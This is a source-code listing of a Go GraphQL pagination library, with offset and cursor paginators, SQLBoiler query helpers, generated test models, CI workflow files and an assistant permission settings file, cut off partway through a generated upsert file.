├── tests ├── models │ ├── boil_view_names.go │ ├── Dockerfile │ ├── boil_table_names.go │ ├── sqlboiler.toml │ ├── boil_queries.go │ ├── schema.sql │ ├── boil_types.go │ ├── README.md │ └── psql_upsert.go ├── suite_test.go ├── helpers_test.go ├── container_test.go ├── offset_integration_test.go └── security_test.go ├── paging_suite_test.go ├── cursor ├── cursor_suite_test.go ├── paginator.go ├── encoder.go ├── encoder_test.go ├── paginator_test.go ├── schema.go └── schema_test.go ├── offset ├── offset_suite_test.go ├── cursor_test.go ├── cursor.go ├── paginator_test.go └── paginator.go ├── .gitignore ├── .github ├── workflows │ ├── release-drafter.yml │ ├── ci.yml │ └── change-management.yml └── release-drafter.yml ├── .claude └── settings.json ├── schema.graphql ├── sqlboiler ├── suite_test.go ├── offset.go ├── fetcher.go ├── cursor.go ├── offset_test.go └── cursor_test.go ├── LICENSE.md ├── page_info_resolver.go ├── page_info.go ├── quotafill ├── cursor_test.go └── quotafill.go ├── connection.go ├── go.mod ├── interfaces.go ├── page_args.go ├── connection_test.go └── page_args_test.go /tests/models/boil_view_names.go: -------------------------------------------------------------------------------- 1 | // Code generated by SQLBoiler 4.19.5 (https://github.com/aarondl/sqlboiler). DO NOT EDIT. 2 | // This file is meant to be re-generated in place and/or deleted at any time. 3 | 4 | package models 5 | 6 | var ViewNames = struct { 7 | }{} 8 | -------------------------------------------------------------------------------- /paging_suite_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "testing" 5 | 6 | . "github.com/onsi/ginkgo/v2" 7 | . "github.com/onsi/gomega" 8 | ) 9 | 10 | func TestPaging(t *testing.T) { 11 | RegisterFailHandler(Fail) 12 | RunSpecs(t, "Paging Suite") 13 | } 14 | -------------------------------------------------------------------------------- /cursor/cursor_suite_test.go: -------------------------------------------------------------------------------- 1 | package cursor_test 2 | 3 | import ( 4 | "testing" 5 | 6 | . "github.com/onsi/ginkgo/v2" 7 | . "github.com/onsi/gomega" 8 | ) 9 | 10 | func TestCursor(t *testing.T) { 11 | RegisterFailHandler(Fail) 12 | RunSpecs(t, "Cursor Suite") 13 | } 14 | -------------------------------------------------------------------------------- /offset/offset_suite_test.go: -------------------------------------------------------------------------------- 1 | package offset_test 2 | 3 | import ( 4 | "testing" 5 | 6 | . "github.com/onsi/ginkgo/v2" 7 | . "github.com/onsi/gomega" 8 | ) 9 | 10 | func TestOffset(t *testing.T) { 11 | RegisterFailHandler(Fail) 12 | RunSpecs(t, "Offset Suite") 13 | } 14 | -------------------------------------------------------------------------------- /tests/models/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.25 2 | 3 | ARG SQLBOILER_VERSION=latest 4 | 5 | WORKDIR /workspace 6 | 7 | RUN go install github.com/aarondl/sqlboiler/v4@${SQLBOILER_VERSION} 8 | RUN go install github.com/aarondl/sqlboiler/v4/drivers/sqlboiler-psql@${SQLBOILER_VERSION} 9 | 10 | ENTRYPOINT ["sh", "-c"] 11 | -------------------------------------------------------------------------------- /tests/models/boil_table_names.go: -------------------------------------------------------------------------------- 1 | // Code generated by SQLBoiler 4.19.5 (https://github.com/aarondl/sqlboiler). DO NOT EDIT. 2 | // This file is meant to be re-generated in place and/or deleted at any time. 3 | 4 | package models 5 | 6 | var TableNames = struct { 7 | Posts string 8 | Users string 9 | }{ 10 | Posts: "posts", 11 | Users: "users", 12 | } 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | # 17 | .claude/settings.local.json 18 | -------------------------------------------------------------------------------- /.github/workflows/release-drafter.yml: -------------------------------------------------------------------------------- 1 | name: Release Drafter 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | 8 | jobs: 9 | draftRelease: 10 | runs-on: ubuntu-latest 11 | 12 | name: Draft Release 13 | steps: 14 | - uses: actions/checkout@v2 15 | - name: Draft Release 16 | uses: toolmantim/release-drafter@v5.2.0 17 | env: 18 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 19 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | - 'v*' 8 | pull_request: {} 9 | 10 | jobs: 11 | test: 12 | name: Tests 13 | runs-on: ubuntu-latest 14 | 15 | env: 16 | ENV: test 17 | 18 | steps: 19 | - uses: actions/checkout@v4 20 | 21 | - name: Install Go 22 | uses: actions/setup-go@v4 23 | with: 24 | go-version: 1.24.x 25 | 26 | - name: Tests 27 | run: go test -v ./... 28 | -------------------------------------------------------------------------------- /.claude/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "permissions": { 3 | "allow": [ 4 | "Bash(sed:*)", 5 | "Bash(cat:*)", 6 | "Bash(find:*)", 7 | "Bash(ls:*)", 8 | "Bash(gh api:*)", 9 | "Bash(gh pr view:*)", 10 | "Bash(git add:*)", 11 | "Bash(git log:*)", 12 | "Bash(go build:*)", 13 | "Bash(go generate:*)", 14 | "Bash(go list:*)", 15 | "Bash(go run:*)", 16 | "Bash(go test:*)", 17 | "Bash(go mod:*)", 18 | "Bash(go doc:*)" 19 | ], 20 | "deny": [] 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /tests/models/sqlboiler.toml: -------------------------------------------------------------------------------- 1 | # SQLBoiler configuration for go-paging test models 2 | output = "tests/models" 3 | pkgname = "models" 4 | wipe = true 5 | no-tests = true 6 | no-hooks = true 7 | no-auto-timestamps = true 8 | 9 | [psql] 10 | dbname = "go_paging_test" 11 | host = "host.docker.internal" 12 | port = 5432 13 | user = "postgres" 14 | pass = "pgpassword" 15 | sslmode = "disable" 16 | 17 | # Schema to generate from 18 | schema = "public" 19 | 20 | # Use snake_case for Go field names 21 | # This matches our database column naming 22 | -------------------------------------------------------------------------------- /.github/workflows/change-management.yml: -------------------------------------------------------------------------------- 1 | name: 'Change Management' 2 | 3 | # **What it does**: Adds a link to PRs with a newly created Asana task. 4 | # **Why we have it**: To create a record of all code changes. 5 | # **Who does it impact**: Everyone 6 | 7 | on: 8 | pull_request: 9 | types: [opened, edited, closed, reopened] 10 | 11 | jobs: 12 | change-management: 13 | runs-on: ubuntu-latest 14 | if: ${{ github.actor != 'dependabot[bot]' }} 15 | name: Change Management 16 | steps: 17 | - uses: nrfta/action-change-management@v1 18 | env: 19 | ASANA_API_TOKEN: '${{ secrets.ASANA_API_TOKEN }}' 20 | GITHUB_TOKEN: '${{ secrets.GITHUB_TOKEN }}' -------------------------------------------------------------------------------- /schema.graphql: -------------------------------------------------------------------------------- 1 | input PageArgs { 2 | """ 3 | first refers to the limit of items to return 4 | """ 5 | first: Int 6 | 7 | """ 8 | return the records after this token 9 | """ 10 | after: String 11 | } 12 | 13 | type PageInfo { 14 | """ 15 | hasPreviousPage informs if there is a previous page 16 | """ 17 | hasPreviousPage: Boolean! 18 | 19 | """ 20 | hasNextPage informs if there is a next page 21 | """ 22 | hasNextPage: Boolean! 23 | 24 | """ 25 | totalCount the total number of records 26 | """ 27 | totalCount: Int 28 | 29 | """ 30 | startCursor refers to the start of the first page 31 | """ 32 | startCursor: String 33 | 34 | """ 35 | endCursor refers to the the first item of the last page 36 | """ 37 | endCursor: String 38 | } 39 | -------------------------------------------------------------------------------- /sqlboiler/suite_test.go: -------------------------------------------------------------------------------- 1 | package sqlboiler_test 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | 7 | "github.com/aarondl/sqlboiler/v4/queries/qm" 8 | . "github.com/onsi/ginkgo/v2" 9 | . "github.com/onsi/gomega" 10 | ) 11 | 12 | func TestSQLBoiler(t *testing.T) { 13 | RegisterFailHandler(Fail) 14 | RunSpecs(t, "SQLBoiler Suite") 15 | } 16 | 17 | // modTypeName returns the type name of a query mod for assertion purposes. 18 | func modTypeName(mod qm.QueryMod) string { 19 | return reflect.TypeOf(mod).String() 20 | } 21 | 22 | // whereModMatcher returns a Gomega matcher that matches any WHERE-type query mod. 23 | func whereModMatcher() OmegaMatcher { 24 | return Or( 25 | Equal("qm.whereQueryMod"), 26 | Equal("qmhelper.WhereQueryMod"), 27 | Equal("qm.QueryModFunc"), 28 | ) 29 | } 30 | -------------------------------------------------------------------------------- /offset/cursor_test.go: -------------------------------------------------------------------------------- 1 | package offset_test 2 | 3 | import ( 4 | . "github.com/onsi/ginkgo/v2" 5 | . "github.com/onsi/gomega" 6 | 7 | "github.com/nrfta/paging-go/v2/offset" 8 | ) 9 | 10 | var _ = Describe("Cursor Encoding/Decoding", func() { 11 | It("should be able to encode and decode the correct offset based cursor", func() { 12 | offsetValue := 34 13 | 14 | cursor := offset.EncodeCursor(offsetValue) 15 | Expect(*cursor).To(Equal("Y3Vyc29yOm9mZnNldDozNA==")) 16 | 17 | data := offset.DecodeCursor(cursor) 18 | Expect(data).To(Equal(offsetValue)) 19 | }) 20 | 21 | It("should handle nil cursor", func() { 22 | data := offset.DecodeCursor(nil) 23 | Expect(data).To(Equal(0)) 24 | }) 25 | 26 | It("should handle invalid cursor", func() { 27 | invalid := "invalid-cursor" 28 | data := offset.DecodeCursor(&invalid) 29 | Expect(data).To(Equal(0)) 30 | }) 31 | }) 32 | -------------------------------------------------------------------------------- /tests/suite_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | "testing" 6 | 7 | . "github.com/onsi/ginkgo/v2" 8 | . "github.com/onsi/gomega" 9 | ) 10 | 11 | var ( 12 | ctx context.Context 13 | container *Container 14 | ) 15 | 16 | var _ = BeforeSuite(func() { 17 | ctx = context.Background() 18 | var err error 19 | 20 | // Start PostgreSQL container 21 | container, err = SetupPostgres(ctx) 22 | Expect(err).ToNot(HaveOccurred()) 23 | Expect(container).ToNot(BeNil()) 24 | Expect(container.DB).ToNot(BeNil()) 25 | 26 | GinkgoWriter.Printf("PostgreSQL container started: %s\n", container.ConnStr) 27 | }) 28 | 29 | var _ = AfterSuite(func() { 30 | if container != nil { 31 | err := container.Terminate(ctx) 32 | Expect(err).ToNot(HaveOccurred()) 33 | GinkgoWriter.Println("PostgreSQL container terminated") 34 | } 35 | }) 36 | 37 | func TestPagingIntegration(t *testing.T) { 38 | RegisterFailHandler(Fail) 39 | RunSpecs(t, "Paging Integration Suite") 40 | } 41 | -------------------------------------------------------------------------------- /offset/cursor.go: -------------------------------------------------------------------------------- 1 | package offset 2 | 3 | import ( 4 | "encoding/base64" 5 | "strconv" 6 | "strings" 7 | ) 8 | 9 | // EncodeCursor takes an integer offset and encodes it to a base64 string as "cursor:offset:NUMBER". 10 | func EncodeCursor(offset int) *string { 11 | data := "cursor:offset:" + strconv.Itoa(offset) 12 | encoded := base64.URLEncoding.EncodeToString([]byte(data)) 13 | return &encoded 14 | } 15 | 16 | // DecodeCursor takes a base64 string and decodes it to extract the offset from a string 17 | // based on "cursor:offset:NUMBER". It defaults to 0 if it cannot decode or has any error. 18 | func DecodeCursor(input *string) int { 19 | if input == nil { 20 | return 0 21 | } 22 | 23 | decoded, err := base64.URLEncoding.DecodeString(*input) 24 | if err != nil { 25 | return 0 26 | } 27 | 28 | parts := strings.Split(string(decoded), ":") 29 | if len(parts) != 3 { 30 | return 0 31 | } 32 | 33 | offset, err := strconv.ParseInt(parts[2], 10, 32) 34 | if err != nil { 35 | return 0 36 | } 37 | return int(offset) 38 | } 39 | -------------------------------------------------------------------------------- /tests/models/boil_queries.go: -------------------------------------------------------------------------------- 1 | // Code generated by SQLBoiler 4.19.5 (https://github.com/aarondl/sqlboiler). DO NOT EDIT. 2 | // This file is meant to be re-generated in place and/or deleted at any time. 3 | 4 | package models 5 | 6 | import ( 7 | "regexp" 8 | 9 | "github.com/aarondl/sqlboiler/v4/drivers" 10 | "github.com/aarondl/sqlboiler/v4/queries" 11 | "github.com/aarondl/sqlboiler/v4/queries/qm" 12 | ) 13 | 14 | var dialect = drivers.Dialect{ 15 | LQ: 0x22, 16 | RQ: 0x22, 17 | 18 | UseIndexPlaceholders: true, 19 | UseLastInsertID: false, 20 | UseSchema: false, 21 | UseDefaultKeyword: true, 22 | UseAutoColumns: false, 23 | UseTopClause: false, 24 | UseOutputClause: false, 25 | UseCaseWhenExistsClause: false, 26 | } 27 | 28 | // This is a dummy variable to prevent unused regexp import error 29 | var _ = ®exp.Regexp{} 30 | 31 | // NewQuery initializes a new Query using the passed in QueryMods 32 | func NewQuery(mods ...qm.QueryMod) *queries.Query { 33 | q := &queries.Query{} 34 | queries.SetDialect(q, &dialect) 35 | qm.Apply(q, mods...) 36 | 37 | return q 38 | } 39 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Underline Infrastructure, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /tests/models/schema.sql: -------------------------------------------------------------------------------- 1 | -- Users table for basic pagination tests 2 | CREATE TABLE users ( 3 | id UUID PRIMARY KEY DEFAULT gen_random_uuid(), 4 | email VARCHAR(255) NOT NULL UNIQUE, 5 | name VARCHAR(255) NOT NULL, 6 | age INTEGER, 7 | is_active BOOLEAN DEFAULT true, 8 | created_at TIMESTAMP NOT NULL DEFAULT NOW(), 9 | updated_at TIMESTAMP NOT NULL DEFAULT NOW() 10 | ); 11 | 12 | -- Posts table for testing sorting and relationships 13 | CREATE TABLE posts ( 14 | id UUID PRIMARY KEY DEFAULT gen_random_uuid(), 15 | user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, 16 | title VARCHAR(500) NOT NULL, 17 | content TEXT, 18 | view_count INTEGER DEFAULT 0, 19 | published_at TIMESTAMP, 20 | created_at TIMESTAMP NOT NULL DEFAULT NOW(), 21 | updated_at TIMESTAMP NOT NULL DEFAULT NOW() 22 | ); 23 | 24 | -- Indexes for efficient pagination queries 25 | CREATE INDEX idx_users_created_at ON users(created_at DESC, id DESC); 26 | CREATE INDEX idx_users_email ON users(email); 27 | CREATE INDEX idx_posts_user_id ON posts(user_id); 28 | CREATE INDEX idx_posts_created_at ON posts(created_at DESC, id DESC); 29 | CREATE INDEX idx_posts_published_at ON posts(published_at DESC NULLS LAST, id DESC); 30 | -------------------------------------------------------------------------------- /.github/release-drafter.yml: -------------------------------------------------------------------------------- 1 | # Configuration for Release Drafter - https://github.com/toolmantim/release-drafter 2 | 3 | name-template: v$NEXT_MINOR_VERSION 4 | tag-template: v$NEXT_MINOR_VERSION 5 | categories: 6 | - title: ':boom: Breaking Change' 7 | label: 'Type: Breaking Change' 8 | 9 | - title: ':rocket: Enhancement' 10 | label: 'Type: Enhancement' 11 | 12 | - title: ':bug: Bug Fix' 13 | label: 'Type: Bug' 14 | 15 | - title: ':nail_care: Refactor' 16 | label: 'Type: Refactor' 17 | 18 | - title: ':memo: Documentation' 19 | label: 'Type: Documentation' 20 | 21 | - title: ':house: Internal' 22 | label: 'Type: Internal' 23 | 24 | - title: ':wrench: Tooling' 25 | label: 'Type: Tooling' 26 | 27 | - title: ':package: Dependencies' 28 | label: 'Type: Dependencies' 29 | 30 | change-template: '- $TITLE (#$NUMBER) @$AUTHOR' 31 | no-changes-template: '- No changes' 32 | template: | 33 | $CHANGES 34 | *** 35 | 36 | ### Contributors 37 | 38 | $CONTRIBUTORS 39 | 40 | *** 41 | 42 | For full changes, see the [comparison between $PREVIOUS_TAG and v$NEXT_MINOR_VERSION](https://github.com/nrfta/go-paging/compare/$PREVIOUS_TAG...v$NEXT_MINOR_VERSION) 43 | -------------------------------------------------------------------------------- /page_info_resolver.go: -------------------------------------------------------------------------------- 1 | package paging 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | // PageInfoResolver interface 8 | type PageInfoResolver interface { 9 | HasPreviousPage(ctx context.Context, pageInfo *PageInfo) (bool, error) 10 | HasNextPage(ctx context.Context, pageInfo *PageInfo) (bool, error) 11 | TotalCount(ctx context.Context, pageInfo *PageInfo) (*int, error) 12 | StartCursor(ctx context.Context, pageInfo *PageInfo) (*string, error) 13 | EndCursor(ctx context.Context, pageInfo *PageInfo) (*string, error) 14 | } 15 | 16 | type pageInfoResolver struct{} 17 | 18 | // NewPageInfoResolver returns the resolver for PageInfo 19 | func NewPageInfoResolver() PageInfoResolver { 20 | return &pageInfoResolver{} 21 | } 22 | 23 | func (r *pageInfoResolver) TotalCount(ctx context.Context, pageInfo *PageInfo) (*int, error) { 24 | return pageInfo.TotalCount() 25 | } 26 | 27 | func (r *pageInfoResolver) HasPreviousPage(ctx context.Context, pageInfo *PageInfo) (bool, error) { 28 | return pageInfo.HasPreviousPage() 29 | } 30 | 31 | func (r *pageInfoResolver) HasNextPage(ctx context.Context, pageInfo *PageInfo) (bool, error) { 32 | return pageInfo.HasNextPage() 33 | } 34 | 35 | func (r *pageInfoResolver) StartCursor(ctx context.Context, pageInfo *PageInfo) (*string, error) { 36 | return pageInfo.StartCursor() 37 | } 38 | 39 | func (r *pageInfoResolver) EndCursor(ctx context.Context, pageInfo *PageInfo) (*string, error) { 40 | return pageInfo.EndCursor() 41 | } 42 | -------------------------------------------------------------------------------- /tests/models/boil_types.go: -------------------------------------------------------------------------------- 1 | // Code generated by SQLBoiler 4.19.5 (https://github.com/aarondl/sqlboiler). DO NOT EDIT. 2 | // This file is meant to be re-generated in place and/or deleted at any time. 3 | 4 | package models 5 | 6 | import ( 7 | "strconv" 8 | 9 | "github.com/aarondl/sqlboiler/v4/boil" 10 | "github.com/aarondl/strmangle" 11 | "github.com/friendsofgo/errors" 12 | ) 13 | 14 | // M type is for providing columns and column values to UpdateAll. 15 | type M map[string]interface{} 16 | 17 | // ErrSyncFail occurs during insert when the record could not be retrieved in 18 | // order to populate default value information. This usually happens when LastInsertId 19 | // fails or there was a primary key configuration that was not resolvable. 20 | var ErrSyncFail = errors.New("models: failed to synchronize data after insert") 21 | 22 | type insertCache struct { 23 | query string 24 | retQuery string 25 | valueMapping []uint64 26 | retMapping []uint64 27 | } 28 | 29 | type updateCache struct { 30 | query string 31 | valueMapping []uint64 32 | } 33 | 34 | func makeCacheKey(cols boil.Columns, nzDefaults []string) string { 35 | buf := strmangle.GetBuffer() 36 | 37 | buf.WriteString(strconv.Itoa(cols.Kind)) 38 | for _, w := range cols.Cols { 39 | buf.WriteString(w) 40 | } 41 | 42 | if len(nzDefaults) != 0 { 43 | buf.WriteByte('.') 44 | } 45 | for _, nz := range nzDefaults { 46 | buf.WriteString(nz) 47 | } 48 | 49 | str := buf.String() 50 | strmangle.PutBuffer(buf) 51 | return str 52 | } 53 | -------------------------------------------------------------------------------- /page_info.go: -------------------------------------------------------------------------------- 1 | package paging 2 | 3 | // PageInfo contains metadata about a paginated result set. 4 | // It uses function fields to enable lazy evaluation of pagination metadata, 5 | // which is useful when some information (like total count) may be expensive to compute. 6 | // 7 | // All functions return both a value and an error to support async computation 8 | // or database queries that may fail. 9 | type PageInfo struct { 10 | TotalCount func() (*int, error) 11 | HasPreviousPage func() (bool, error) 12 | HasNextPage func() (bool, error) 13 | StartCursor func() (*string, error) 14 | EndCursor func() (*string, error) 15 | } 16 | 17 | // NewEmptyPageInfo returns an empty instance of PageInfo. 18 | // This is useful when you need to satisfy PageInfo requirements but don't have 19 | // pagination data yet (e.g., empty result sets, error cases, or placeholder responses). 20 | // 21 | // All functions return nil or false: 22 | // - TotalCount: nil 23 | // - StartCursor: nil 24 | // - EndCursor: nil 25 | // - HasNextPage: false 26 | // - HasPreviousPage: false 27 | // 28 | // Example usage: 29 | // 30 | // if len(items) == 0 { 31 | // return &Connection{ 32 | // Nodes: []Item{}, 33 | // Edges: []Edge[Item]{}, 34 | // PageInfo: NewEmptyPageInfo(), 35 | // }, nil 36 | // } 37 | func NewEmptyPageInfo() PageInfo { 38 | return PageInfo{ 39 | TotalCount: func() (*int, error) { return nil, nil }, 40 | StartCursor: func() (*string, error) { return nil, nil }, 41 | EndCursor: func() (*string, error) { return nil, nil }, 42 | HasNextPage: func() (bool, error) { return false, nil }, 43 | HasPreviousPage: func() (bool, error) { return false, nil }, 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /sqlboiler/offset.go: -------------------------------------------------------------------------------- 1 | package sqlboiler 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/aarondl/sqlboiler/v4/queries/qm" 7 | "github.com/nrfta/paging-go/v2" 8 | ) 9 | 10 | // OffsetToQueryMods converts FetchParams into SQLBoiler query mods for offset pagination. 11 | // This is the strategy-specific query builder for offset-based pagination. 12 | // 13 | // The conversion follows these rules: 14 | // - Offset → qm.Offset(n) 15 | // - Limit → qm.Limit(n) 16 | // - OrderBy → qm.OrderBy("col1 DESC, col2 ASC") 17 | // 18 | // This function is used by offset.Paginator when creating a SQLBoiler fetcher. 19 | // 20 | // Example: 21 | // 22 | // fetcher := sqlboiler.NewFetcher( 23 | // queryFunc, 24 | // countFunc, 25 | // sqlboiler.OffsetToQueryMods, // ← Use offset strategy 26 | // ) 27 | func OffsetToQueryMods(params paging.FetchParams) []qm.QueryMod { 28 | mods := []qm.QueryMod{} 29 | 30 | if params.Offset > 0 { 31 | mods = append(mods, qm.Offset(params.Offset)) 32 | } 33 | 34 | if params.Limit > 0 { 35 | mods = append(mods, qm.Limit(params.Limit)) 36 | } 37 | 38 | if len(params.OrderBy) > 0 { 39 | mods = append(mods, qm.OrderBy(buildOrderByClause(params.OrderBy))) 40 | } 41 | 42 | return mods 43 | } 44 | 45 | // buildOrderByClause constructs an ORDER BY clause from Sort directives. 46 | // Assumes len(orderBy) > 0 (caller must verify). 47 | // 48 | // Example: 49 | // 50 | // []Sort{ 51 | // {Column: "created_at", Desc: true}, 52 | // {Column: "id", Desc: false}, 53 | // } 54 | // → "created_at DESC, id" 55 | func buildOrderByClause(orderBy []paging.Sort) string { 56 | parts := make([]string, len(orderBy)) 57 | for i, o := range orderBy { 58 | if o.Desc { 59 | parts[i] = o.Column + " DESC" 60 | } else { 61 | parts[i] = o.Column 62 | } 63 | } 64 | return strings.Join(parts, ", ") 65 | } 66 | -------------------------------------------------------------------------------- /quotafill/cursor_test.go: -------------------------------------------------------------------------------- 1 | package quotafill_test 2 | 3 | import ( 4 | "context" 5 | "testing" 6 | 7 | "github.com/nrfta/paging-go/v2" 8 | "github.com/nrfta/paging-go/v2/cursor" 9 | "github.com/nrfta/paging-go/v2/quotafill" 10 | ) 11 | 12 | func TestCursorGeneration(t *testing.T) { 13 | schema := testItemSchema() 14 | 15 | fetcher := newMockFetcher([]testItem{ 16 | {ID: 1}, {ID: 2}, {ID: 3}, 17 | }) 18 | 19 | wrapper := quotafill.New[testItem](fetcher, passAllFilter(), schema) 20 | 21 | first := 2 22 | args := &paging.PageArgs{First: &first} 23 | page, err := wrapper.Paginate(context.Background(), args) 24 | 25 | if err != nil { 26 | t.Fatalf("Paginate failed: %v", err) 27 | } 28 | 29 | if len(page.Nodes) != 2 { 30 | t.Errorf("Expected 2 nodes, got %d", len(page.Nodes)) 31 | } 32 | 33 | startCursor, err := page.PageInfo.StartCursor() 34 | if err != nil { 35 | t.Fatalf("StartCursor failed: %v", err) 36 | } 37 | if startCursor == nil { 38 | t.Error("StartCursor should not be nil") 39 | } 40 | 41 | endCursor, err := page.PageInfo.EndCursor() 42 | if err != nil { 43 | t.Fatalf("EndCursor failed: %v", err) 44 | } 45 | if endCursor == nil { 46 | t.Error("EndCursor should not be nil") 47 | } 48 | } 49 | 50 | func TestCursorNilForOffset(t *testing.T) { 51 | fetcher := newMockFetcher([]testItem{ 52 | {ID: 1}, {ID: 2}, 53 | }) 54 | 55 | wrapper := quotafill.New[testItem](fetcher, passAllFilter(), nil) 56 | 57 | first := 2 58 | args := &paging.PageArgs{First: &first} 59 | page, err := wrapper.Paginate(context.Background(), args) 60 | 61 | if err != nil { 62 | t.Fatalf("Paginate failed: %v", err) 63 | } 64 | 65 | startCursor, _ := page.PageInfo.StartCursor() 66 | if startCursor != nil { 67 | t.Error("StartCursor should be nil when schema is nil") 68 | } 69 | 70 | endCursor, _ := page.PageInfo.EndCursor() 71 | if endCursor != nil { 72 | t.Error("EndCursor should be nil when schema is nil") 73 | } 74 | } 75 | 76 | // Ensure cursor package is imported (used by testItemSchema in quotafill_test.go) 77 | var _ = cursor.ASC 78 | -------------------------------------------------------------------------------- /tests/models/README.md: -------------------------------------------------------------------------------- 1 | # Test Models 2 | 3 | This directory contains SQLBoiler-generated models for integration testing. 4 | 5 | ## Files 6 | 7 | - **`schema.sql`** - PostgreSQL schema defining test tables (users, posts) 8 | - **`sqlboiler.toml`** - SQLBoiler configuration for model generation 9 | - **`Dockerfile`** - Docker image with SQLBoiler for model generation 10 | - **`*.go`** - Generated SQLBoiler models (do not edit manually) 11 | 12 | ## Regenerating Models 13 | 14 | If you modify `schema.sql`, regenerate the models: 15 | 16 | ### Using Docker (Recommended) 17 | 18 | ```bash 19 | # From repository root 20 | docker build -t go-paging-sqlboiler -f tests/models/Dockerfile . 21 | 22 | # Run SQLBoiler to generate models 23 | docker run --rm \ 24 | --network host \ 25 | -v "$(pwd):/workspace" \ 26 | go-paging-sqlboiler \ 27 | "sqlboiler psql -c tests/models/sqlboiler.toml" 28 | ``` 29 | 30 | ### Using Local SQLBoiler 31 | 32 | ```bash 33 | # Install SQLBoiler 34 | go install github.com/aarondl/sqlboiler/v4@latest 35 | go install github.com/aarondl/sqlboiler/v4/drivers/sqlboiler-psql@latest 36 | 37 | # Start PostgreSQL (integration tests use testcontainers, so this is just for generation) 38 | # You'll need a local PostgreSQL instance with the schema loaded 39 | 40 | # Generate models 41 | sqlboiler psql -c tests/models/sqlboiler.toml 42 | ``` 43 | 44 | ## Schema Overview 45 | 46 | ### `users` Table 47 | 48 | - `id` (UUID, primary key) 49 | - `name` (TEXT) 50 | - `email` (TEXT) 51 | - `created_at` (TIMESTAMP) 52 | - `updated_at` (TIMESTAMP) 53 | 54 | ### `posts` Table 55 | 56 | - `id` (UUID, primary key) 57 | - `user_id` (UUID, foreign key → users) 58 | - `title` (TEXT) 59 | - `content` (TEXT) 60 | - `published_at` (TIMESTAMP, nullable) 61 | - `created_at` (TIMESTAMP) 62 | - `updated_at` (TIMESTAMP) 63 | 64 | ## Notes 65 | 66 | - Models are regenerated when schema changes 67 | - The `sqlboiler.toml` config outputs to this directory 68 | - Integration tests use testcontainers, so no local PostgreSQL required for testing 69 | - The schema is applied automatically by integration tests via migrations 70 | -------------------------------------------------------------------------------- /tests/models/psql_upsert.go: -------------------------------------------------------------------------------- 1 | // Code generated by SQLBoiler 4.19.5 (https://github.com/aarondl/sqlboiler). DO NOT EDIT. 2 | // This file is meant to be re-generated in place and/or deleted at any time. 3 | 4 | package models 5 | 6 | import ( 7 | "fmt" 8 | "strings" 9 | 10 | "github.com/aarondl/sqlboiler/v4/drivers" 11 | "github.com/aarondl/strmangle" 12 | ) 13 | 14 | type UpsertOptions struct { 15 | conflictTarget string 16 | updateSet string 17 | } 18 | 19 | type UpsertOptionFunc func(o *UpsertOptions) 20 | 21 | func UpsertConflictTarget(conflictTarget string) UpsertOptionFunc { 22 | return func(o *UpsertOptions) { 23 | o.conflictTarget = conflictTarget 24 | } 25 | } 26 | 27 | func UpsertUpdateSet(updateSet string) UpsertOptionFunc { 28 | return func(o *UpsertOptions) { 29 | o.updateSet = updateSet 30 | } 31 | } 32 | 33 | // buildUpsertQueryPostgres builds a SQL statement string using the upsertData provided. 34 | func buildUpsertQueryPostgres(dia drivers.Dialect, tableName string, updateOnConflict bool, ret, update, conflict, whitelist []string, opts ...UpsertOptionFunc) string { 35 | conflict = strmangle.IdentQuoteSlice(dia.LQ, dia.RQ, conflict) 36 | whitelist = strmangle.IdentQuoteSlice(dia.LQ, dia.RQ, whitelist) 37 | ret = strmangle.IdentQuoteSlice(dia.LQ, dia.RQ, ret) 38 | 39 | upsertOpts := &UpsertOptions{} 40 | for _, o := range opts { 41 | o(upsertOpts) 42 | } 43 | 44 | buf := strmangle.GetBuffer() 45 | defer strmangle.PutBuffer(buf) 46 | 47 | columns := "DEFAULT VALUES" 48 | if len(whitelist) != 0 { 49 | columns = fmt.Sprintf("(%s) VALUES (%s)", 50 | strings.Join(whitelist, ", "), 51 | strmangle.Placeholders(dia.UseIndexPlaceholders, len(whitelist), 1, 1)) 52 | } 53 | 54 | fmt.Fprintf( 55 | buf, 56 | "INSERT INTO %s %s ON CONFLICT ", 57 | tableName, 58 | columns, 59 | ) 60 | 61 | if 